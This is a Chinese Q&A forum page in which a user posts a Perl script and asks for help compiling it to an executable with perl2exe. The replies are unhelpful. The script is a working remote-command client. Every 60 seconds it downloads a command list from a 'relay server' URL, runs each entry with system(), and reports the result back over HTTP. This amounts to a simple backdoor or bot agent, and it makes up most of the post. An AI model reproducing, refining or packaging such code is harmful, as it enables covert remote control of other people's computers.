永发信息网

perl编译问题

答案:2  悬赏:30  手机版
解决时间 2021-06-05 17:14

程序如下:

#!/usr/bin/perl
use strict;
use LWP;

my $ua = LWP::UserAgent->new;

while(1){
sleep(60);
main();
}
#运行后每60秒执行main函数

sub main{
$ua->mirror(' http://127.0.0.1/cgi-bin/B-dS.pl?sign=1','command.wG');
open(FILE,"<command.wG");
my @text = <FILE>;
chomp(@text);
close FILE;
#取得command.wg的镜像,读取指令

my %command = @text;
while (my($a,$b) = each (%command)) {
if(system("$a")){
my $url1 = ' http://127.0.0.1/cgi-bin/B-dS.pl?'."command=$a&return=failed";
re($url1);
}else{
my $url2 = ' http://127.0.0.1/cgi-bin/B-dS.pl?'."command=$a&return=done";
re($url2);
}
}
#指令执行后,将结果反馈回中转服务器
}

sub re{
my $url = $_[0];
my $request = HTTP::Request->new(GET=>$url);
my $a = $ua-> request($request);
}
#re函数反馈执行结果

用perl2exe 9.110编译时显示错误如下:

恳请高手指教!

最佳答案
首先 看到你的环境没有设好,在环境变量 path 中添加perl 的bin目录 也就是perl.exe的目录
全部回答
你好 楼主。 很幸运的看到你的问题。 但是又很遗憾到现在还没有人回答你的问题。也可能你现在已经在别的地方找到了答案,那就得恭喜你啦。 对于你的问题我爱莫能助! 可能是你问的问题有些专业了。或者别人没有遇到或者接触过你的问题,所以帮不了你。建议你去问题的相关论坛去求助,那里的人通常比较多,也比较热心,可能能快点帮你解决问题。 希望我的回答也能够帮到你! 祝你好运。 快过年了, 最后祝您全家幸福健康快乐每一天!
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
DNF我55级女皇拿+8的混沌550智力1750魔攻 <
在QQ农场中,我所打开的好友列表是我别的Q的
Betty的父母的工作。用英语怎么说?
有眼科医生吗,能解读我的矫正视力是多少啊
桑植县张家界魅力女人美容SPA养生馆哪位知道
合肥有马牌的专卖店吗?
求这段录象的歌名
财富通符合最简单的点亮
物理题目,能者上
影驰 9800GT+中将好还是蓝宝石HD4850海外好
劲舞团男号卡女号怎么卡?
我的网上银行为什么充值的时候老是提醒请输入
爱到最后还剩下什么呢?
跳舞机的种类和连接
万州今天冷吗?
推荐资讯
白羊男带什么饰物开运
如何把音乐添加到空间里
抢车位里最贵的车是好多金一辆?一分钟多少钱
怎么样学会堕落
兄弟们,校友杂注册!帮帮忙!
全运会在山东几个城市举行?
华夏的玩法和什么差不多?
避雷针可以当保护地线吗
怎么点亮QQ丝路英雄????
李明以前不了解颜色对人的情绪的影响 怎么翻
怎么和女朋友交流?
热水瓶易碎的原因及改良方案
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?